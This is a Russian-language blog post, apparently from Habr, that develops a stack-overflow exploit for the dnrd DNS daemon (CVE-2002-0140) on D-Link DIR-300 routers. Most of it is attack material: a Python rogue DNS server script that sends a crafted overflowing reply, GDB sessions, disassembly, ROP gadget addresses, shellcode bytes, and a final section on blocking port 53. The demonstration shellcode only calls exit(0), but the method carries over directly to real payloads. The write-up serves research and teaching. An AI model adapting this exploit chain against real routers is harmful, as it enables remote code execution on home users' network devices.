Я уже рассказывал, что в роутерах D-Link DIR-300NRU, для работы DNS используется демон dnrd подверженный уязвимости CVE-2002-0140. Под катом я попробую сформировать пакет вызывающий переполнение стека и воспользовавшись магией ROP, добиться выполнения нескольких инструкций на стеке.
Выполнить я попытаюсь следующий код:
lui t9,0x2ab4
addiu t9,t9,-18464
nop
jalr t9
nop
что есть просто вызов функции exit(0). Согласен, просто и без вкуса. Но в данный момент я хочу показать возможность выполнения кода на стеке.
Немного об инструментах.
Для комфортного изучения dnrd, нам понадобится gdbserver внедренный в прошивку роутера и сам gdb, собранный с поддержкой архитектуры MIPS. Его можно собрать с помощью набора для кросс-компиляции, прилагающегося к исходникам прошивки. Там же найдется mipsel-linux-uclibc-objdump, который позволит дизассемблировать бинарник dnrd и динамическую библиотеку libc, им используемую. Для внедрения серверной части отладчика в прошивку, я пользовался firmwire-mod-kit. Чтобы прошивка собралась придется удалить из файловой системы несколько ненужных утилит.
#!/usr/bin/python
import sys
import socket
UDP_IP = "192.168.0.100"
UDP_PORT = 53
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
k_answer = bytearray()
for i in range(0,514):
k_answer.append(i%256)
k_answer[0:12] = [0xff,0xff,0x01,0x20,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01]#заголовок DNS-ответ
k_answer[12] = 0x1d #длинна элемента поля name
k_answer[42:44] = [0xc0,0x0c] #зациклим name
while True:
data, (r_addr, r_port) = sock.recvfrom(1024)
sock.sendto(k_answer, (r_addr, r_port))
Переполнение стека
С первой консоли подключаемся через telnet к роутеру и запускаем на нем сервер отладчика:
gdbserver 192.168.0.1:6666 /usr/sbin/dnrd -s 192.168.0.100
192.168.0.100 — адрес вышестоящего DNS сервера. В нашем случае это машина на которой запущен наш скрипт.
На второй консоли запускаем mipsel-linux-uclibc-gdb и начинаем удаленную отладку:
(gdb) target remote 192.168.0.1:6666
(gdb) continue
С третьей консоли посылаем запрос на разрешение доменного имени к исследуемому демону, который заставит его обратится к нашему скрипту и получить сформированый нами пакет:
dig @192.168.0.1 example.com
Во второй консоли с отладчиком наблюдаем:
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
Уже интересно, но мы добились только того, что исследуемый процесс выполняя бесконечную рекурсию функции get_objectname() добрался до границы сегмента стека и попытался записать данные в недоступную ему память. За это он был наказан сигналом №11 и принудительно завершен. Понятно, что переполнение имеет место быть, но как этим воспользоваться?
Делаем рекурсию конечной
Теперь нам надо как-то добраться до нашей функции get_objectname(). Проблема в том, что в бинарнике dnrd такого символа нет. Я пошел самым простым путем — заглянул в исходники. Оказалось, что наша не совсем корректно работающая функция вызывается из функции parse_query().
0x405e00 <parse_query>: lui gp,0xfc0; на третьем входе начинается все само интересное
0x405e04 <parse_query+4>: addiu gp,gp,9648
0x405e08 <parse_query+8>: addu gp,gp,t9
0x405e0c <parse_query+12>: addiu sp,sp,-48
0x405e10 <parse_query+16>: sw gp,16(sp)
0x405e14 <parse_query+20>: move t0,a1
0x405e18 <parse_query+24>: sw s1,36(sp)
0x405e1c <parse_query+28>: sw s0,32(sp)
0x405e20 <parse_query+32>: sw ra,44(sp)
0x405e24 <parse_query+36>: sw gp,40(sp)
0x405e28 <parse_query+40>: lhu v1,4(t0)
0x405e2c <parse_query+44>: addiu s0,a0,2
0x405e30 <parse_query+48>: andi v0,v1,0xff
0x405e34 <parse_query+52>: sll v0,v0,0x8
0x405e38 <parse_query+56>: srl v1,v1,0x8
0x405e3c <parse_query+60>: or v1,v1,v0
0x405e40 <parse_query+64>: addiu t1,a1,12
0x405e44 <parse_query+68>: move s1,a0
0x405e48 <parse_query+72>: move a3,zero
0x405e4c <parse_query+76>: addiu a1,sp,28
0x405e50 <parse_query+80>: move a0,t0
0x405e54 <parse_query+84>: move a2,s0
0x405e58 <parse_query+88>: beqz v1,0x405f58 <parse_query+344>; интересно но не то... идем дальше
0x405e5c <parse_query+92>: move v0,zero
0x405e60 <parse_query+96>: lhu v1,2(t0)
0x405e64 <parse_query+100>: sw t1,28(sp)
0x405e68 <parse_query+104>: andi v0,v1,0xff
0x405e6c <parse_query+108>: sll v0,v0,0x8
0x405e70 <parse_query+112>: srl v1,v1,0x8
0x405e74 <parse_query+116>: or v1,v1,v0
0x405e78 <parse_query+120>: sh v1,0(s1)
0x405e7c <parse_query+124>: lw t9,-32740(gp)
0x405e80 <parse_query+128>: nop
0x405e84 <parse_query+132>: addiu t9,t9,21180
0x405e88 <parse_query+136>: nop
0x405e8c <parse_query+140>: jalr t9;вот тут интересно - до входа стек есть,
0x405e90 <parse_query+144>: nop ;а после - нету 0x4052bc - адрес куда уходим
0x405e94 <parse_query+148>: lw gp,16(sp)
0x405e98 <parse_query+152>: addu v0,s1,v0
0x405e9c <parse_query+156>: lw a0,28(sp)
0x405ea0 <parse_query+160>: sb zero,2(v0)
0x405ea4 <parse_query+164>: lb v0,0(a0)
0x405ea8 <parse_query+168>: lb v1,1(a0)
0x405eac <parse_query+172>: sb v0,24(sp)
0x405eb0 <parse_query+176>: sb v1,25(sp)
0x405eb4 <parse_query+180>: lhu v1,24(sp)
0x405eb8 <parse_query+184>: addiu a1,a0,2
0x405ebc <parse_query+188>: andi v0,v1,0xff
0x405ec0 <parse_query+192>: sll v0,v0,0x8
0x405ec4 <parse_query+196>: srl v1,v1,0x8
0x405ec8 <parse_query+200>: or v1,v1,v0
0x405ecc <parse_query+204>: sw a1,28(sp)
0x405ed0 <parse_query+208>: sw v1,304(s1)
0x405ed4 <parse_query+212>: lb v0,2(a0)
0x405ed8 <parse_query+216>: lb v1,3(a0)
0x405edc <parse_query+220>: sb v0,24(sp)
0x405ee0 <parse_query+224>: sb v1,25(sp)
0x405ee4 <parse_query+228>: lhu v1,24(sp)
0x405ee8 <parse_query+232>: addiu a0,a0,4
0x405eec <parse_query+236>: andi v0,v1,0xff
0x405ef0 <parse_query+240>: sll v0,v0,0x8
0x405ef4 <parse_query+244>: srl v1,v1,0x8
0x405ef8 <parse_query+248>: or v1,v1,v0
0x405efc <parse_query+252>: sw v1,308(s1)
0x405f00 <parse_query+256>: sw a0,28(sp)
0x405f04 <parse_query+260>: move a0,s0
0x405f08 <parse_query+264>: lw t9,-32664(gp)
0x405f0c <parse_query+268>: nop
0x405f10 <parse_query+272>: jalr t9
0x405f14 <parse_query+276>: nop
0x405f18 <parse_query+280>: lw gp,16(sp)
0x405f1c <parse_query+284>: addu v1,v0,s1
0x405f20 <parse_query+288>: addiu a1,v1,-1
0x405f24 <parse_query+292>: blez v0,0x405f40 <parse_query+320>
0x405f28 <parse_query+296>: move a0,s0
0x405f2c <parse_query+300>: lb v1,2(a1)
0x405f30 <parse_query+304>: li v0,46
0x405f34 <parse_query+308>: bne v1,v0,0x405f40 <parse_query+320>
0x405f38 <parse_query+312>: nop
0x405f3c <parse_query+316>: sb zero,2(a1)
0x405f40 <parse_query+320>: lw t9,-32180(gp)
0x405f44 <parse_query+324>: nop
0x405f48 <parse_query+328>: jalr t9
0x405f4c <parse_query+332>: nop
0x405f50 <parse_query+336>: lw gp,16(sp)
0x405f54 <parse_query+340>: lw v0,28(sp)
0x405f58 <parse_query+344>: lw ra,44(sp)
0x405f5c <parse_query+348>: lw s1,36(sp)
0x405f60 <parse_query+352>: lw s0,32(sp)
0x405f64 <parse_query+356>: jr ra
0x405f68 <parse_query+360>: addiu sp,sp,48
0x405f6c <parse_query+364>: nop
Поставив точки прерывания на адреса 0x405e8c и 0x405e94. Несколько раз все проходит удачно. Стек и регистры перед последним входом в функцию:
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 1100fc00 00000100 00000120 7f925960 7f925694 7f9256c2 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 7f925960 7f92596c 2aaae13c 2aaf48c4 00000410 073c3a40 2aaf5ed4 00401538
s0 s1 s2 s3 s4 s5 s6 s7
R16 7f9256c2 7f9256c0 00000000 7f925c00 7f925c08 1000b678 10007124 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 2aaf07c4 004052bc 00000000 00000000 100083b0 7f925678 7f8d5ac8 004033d0
sr lo hi bad cause pc
00000000 0001cbe9 000002e1 00407038 10800024 00405e8c
fsr fir
00000000 00000000
(gdb) bt
#0 0x00405e8c in parse_query ()
#1 0x004033d0 in cache_dnspacket ()
#2 0x00408228 in handle_udpreply ()
#3 0x0040752c in run ()
#4 0x00402778 in main ()
(gdb) c
Продолжаем и… наша программа снова умирает. Вот и нашлась наша функция get_objectname(). Она живет по адресу в регистре t9 = 0x004052bc.
Стоит упомянуть, что для MIPS принято значения передаваемые функции сохранять в регистрах a0-a3, возвращаемые значения сохраняются в регистрах v0 и v1, а адресс возврата — в регистре ra. Если функции необходимо будет вызывать другие функции, то регистр ra сохраняется на стеке. Этим мы скоро и воспользуемся.
Сверившись с исходниками, увидим, что в a0 содержится адрес нашего пакета (msg), а в a2 адрес буфера в который сохраняется поле NAME DNS-ответа (y->name);
в а3 находится смещение i текущего элемента y->name[i]. Мы можем посчитать смещение на стеке между пакетом и y->name — оно составляет 670 байт.
(gdb) x/20i 0x004052bc
0x4052bc <free_packet+1148>: lui gp,0xfc0
0x4052c0 <free_packet+1152>: addiu gp,gp,12532
0x4052c4 <free_packet+1156>: addu gp,gp,t9
0x4052c8 <free_packet+1160>: addiu sp,sp,-48
0x4052cc <free_packet+1164>: sw gp,16(sp)
0x4052d0 <free_packet+1168>: sw s1,36(sp)
0x4052d4 <free_packet+1172>: sw s0,32(sp)
0x4052d8 <free_packet+1176>: sw ra,44(sp)
0x4052dc <free_packet+1180>: sw gp,40(sp)
0x4052e0 <free_packet+1184>: lw t0,0(a1)
0x4052e4 <free_packet+1188>: move s0,a1
0x4052e8 <free_packet+1192>: lbu a1,0(t0)
0x4052ec <free_packet+1196>: nop
0x4052f0 <free_packet+1200>: beqz a1,0x4053c4 <free_packet+1412>
0x4052f4 <free_packet+1204>: move s1,a2
0x4052f8 <free_packet+1208>: addiu v0,t0,1
0x4052fc <free_packet+1212>: andi v1,a1,0xc0
0x405300 <free_packet+1216>: beqz v1,0x40534c <free_packet+1292>
0x405304 <free_packet+1220>: sw v0,0(s0)
0x405308 <free_packet+1224>: lbu v1,1(t0)
(gdb)
Очень похоже, что инструкция по адресу 0x4052fc это часть проверки на предмет сжатия в поле NAME. Самое место, чтобы поставить точку останова и наблюдать за значениями a3 и a0+12 (поле длинны элемента NAME). И вот наблюдая за рекурсией мы становимся свидетелями чуда перезаписи исходного сообщения:
Breakpoint 7, 0x004052fc in free_packet ()
3: x/xb $a0 + 12 0x7fc9b96c: 0x23
1: $a3 = 690
Учитывая то, что мы инициализировали пакет последовательностью (1,2,3,...), мы можем дописать в скрипт:
k_answer[35] = 0x00 # 0х23 == 35
Рекурсия прекращается и можно снова поставить точку останова в адрес возврата из get_objectname() в parse_query()
Breakpoint 8, 0x00405e94 in parse_query ()
1: $a3 = 690
(gdb) bt
#0 0x00405e94 in parse_query ()
#1 0x004033d0 in cache_dnspacket ()
#2 0x14131211 in ?? ()
Теперь мы знаем куда в пакете поместить адрес возврата, но у нас есть три проблемы:
- в процессе рекурсии мы испортили наш пакет и данные в массиве msg немного не соответствуют пакету, который мы отправили
- стек рандомизируется и адрес по которому сохранен пакет и соответственно код который мы хотим исполнить, нам неизвестен
- особенностью архитектуры MIPS является наличие двух кэшей — для кода и для данных. Если мы попытаемся выполнить код, определяемый нашими данными на стеке, его там не окажется, ибо наш пакет находится в кэше данных, но не в памяти.
Передаем исполнение на стек
Вторую проблему решит ROP(return-oriented programming). Суть данного метода состоит в том, что мы находим в памяти процесса инструкции (адреса их нам заранее известны) решающие часть поставленной задачи и строим из таких инструкций цепочку решающую задачу полностью. Переходом от одного звена к другому мы управляем манипулируя подконтрольными нам данными на стеке.
Третью проблему можно решить вызовом функции cacheflush(), но ей необходимо передать адресс, число байт и тип кэша. Больно уж хлопотно загружать данные в три регистра посредством ROP. Есть способ попроще — отправить атакуемый процесс на секундочку поспать… и все пройдет. Наш выбор — вызвать sleep(1).
Первая проблема — вообще не проблема, увеличим немного sp, чтобы он указывал на качественные данные. Вот что я нашел grep'ая вывод mipsel-linux-uclibc-objdump -d.
404e1c: 8fbf0024 lw ra,36(sp)
404e20: 8fb1001c lw s1,28(sp)
404e24: 8fb00018 lw s0,24(sp)
404e28: 00601021 move v0,v1
404e2c: 03e00008 jr ra
404e30: 27bd0028 addiu sp,sp,40
0x2ab05b18 <clnttcp_create+2520>: lw gp,16(sp)
0x2ab05b1c <clnttcp_create+2524>: move a0,s1
0x2ab05b20 <clnttcp_create+2528>: lw t9,-32668(gp)
0x2ab05b24 <clnttcp_create+2532>: jalr t9
0x2ab05b28 <clnttcp_create+2536>: nop
0x2ab05b2c <clnttcp_create+2540>: lw gp,16(sp)
0x2ab05b30 <clnttcp_create+2544>: lw ra,36(sp)
0x2ab05b34 <clnttcp_create+2548>: lw s1,28(sp)
0x2ab05b38 <clnttcp_create+2552>: lw s0,24(sp)
0x2ab05b3c <clnttcp_create+2556>: jr ra
0x2ab05b40 <clnttcp_create+2560>: addiu sp,sp,40
0x2ab081ec <pmap_rmtcall+172>: addiu a3,sp,40
0x2ab081f0 <pmap_rmtcall+176>: beqz v0,0x2ab08284 <pmap_rmtcall+324>
0x2ab08284 <pmap_rmtcall+324>: move v0,s1
0x2ab08288 <pmap_rmtcall+328>: sh zero,2(s4)
0x2ab0828c <pmap_rmtcall+332>: lw ra,116(sp)
0x2ab08290 <pmap_rmtcall+336>: lw s5,108(sp)
0x2ab08294 <pmap_rmtcall+340>: lw s4,104(sp)
0x2ab08298 <pmap_rmtcall+344>: lw s3,100(sp)
0x2ab0829c <pmap_rmtcall+348>: lw s2,96(sp)
0x2ab082a0 <pmap_rmtcall+352>: lw s1,92(sp)
0x2ab082a4 <pmap_rmtcall+356>: lw s0,88(sp)
0x2ab082a8 <pmap_rmtcall+360>: jr ra
0x2ab082ac <pmap_rmtcall+364>: addiu sp,sp,120
0x2ab1b1f4 <_obstack_begin+100>: move t9,a3
0x2ab1b1f8 <_obstack_begin+104>: jalr t9
Остается только вычислить необходимые смещения в пакете и добавить в скрипт строчки вида:
k_answer[a:b] = [s,s,re,ad]
где а — смещение в пакете; ad,re,s,s — байты адресов найденых ROP-гаджтов(в обратном порядке, т.к. кристалл работает в режиме little-endian) и добавить скромный шеллкод:
k_answer[123:147] = [0,0,0,0,0xb4,0x2a,0x19,0x3c,0xe0,0xb7,0x39,0x27,0,0,0,0,0x09,0xf8,0x20,0x03,0,0,0,0]
И смотрим как наш код выполняется:
Breakpoint 13, 0x7fd0f9e0 in ?? ()
(gdb) x/5i $pc
0x7fd0f9e0: lui t9,0x2ab4
0x7fd0f9e4: addiu t9,t9,-18464
0x7fd0f9e8: nop
0x7fd0f9ec: jalr t9
0x7fd0f9f0: nop
(gdb) c
Continuing.
Program exited normally.
Меры противодейтсвия
Все вышесказанное будет работать для роутеров Dlink DIR-300 аппаратных ревизий B1,B2 и B3. Также данной уязвимости скорее всего подвержены DIR-300 A1 и DIR-320, но сам пакет для них должен быть другим.
Эксплуатация данной уязвимости возможна, также направлением специально сформированного запроса. Самым простым и действенным способом противодействия будет запретить обращения на 53 порт. Сделать это можно через web-интерфейс роутера. Это сделает невозможной атаку как через запросы, так и через ответы т.к. не будет создана трансляция адресов.
Автор: naszar